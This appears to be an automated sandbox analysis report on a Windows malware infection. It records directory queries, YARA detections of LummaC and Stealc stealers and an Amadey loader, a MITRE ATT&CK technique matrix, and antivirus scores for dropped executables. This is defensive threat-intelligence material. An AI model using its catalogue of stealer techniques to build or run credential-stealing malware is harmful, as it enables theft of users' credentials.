Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE

Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Directory queried: number of queries: 1598

Source: Yara match	File source: 0000001B.00000003.2547759461.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2503061177.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2766804861.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2691284963.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2756875635.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2529443181.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2506078383.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2682613290.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2650632814.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2726300389.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2725809496.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2551102132.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2657819055.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2528499876.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2659696835.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2583071706.0000000001409000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2526277791.0000000001409000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9b7d422018.exe PID: 3408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 48bf814d33.exe PID: 3940, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9b7d422018.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 20b68761b3.exe PID: 7704, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 4V88JM9ZW2IZ0ZQGW7B.exe PID: 8040, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9b7d422018.exe PID: 3408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 48bf814d33.exe PID: 3940, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 9b7d422018.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 20b68761b3.exe PID: 7704, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 28.2.a4769912c1.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.7617eef03d.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.a4769912c1.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.2SGVUOBNN8HUJ5IDUWDR.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2652934393.0000000000311000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2547341621.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2602234805.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2652114564.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2016380463.0000000000451000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2499099366.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2774586954.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1961420367.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2753806901.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2690081341.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2SGVUOBNN8HUJ5IDUWDR.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a4769912c1.exe PID: 2696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7617eef03d.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a4769912c1.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00231204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		6_2_00231204
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00231806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		6_2_00231806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	21 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	22 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	12 Software Packing	NTDS	239 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	981 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	11 Masquerading	DCSync	451 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	451 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	Virustotal		Browse
file.exe	42%	ReversingLabs	Win32.Trojan.Amadey
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	42%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	42%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	42%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	42%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	42%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
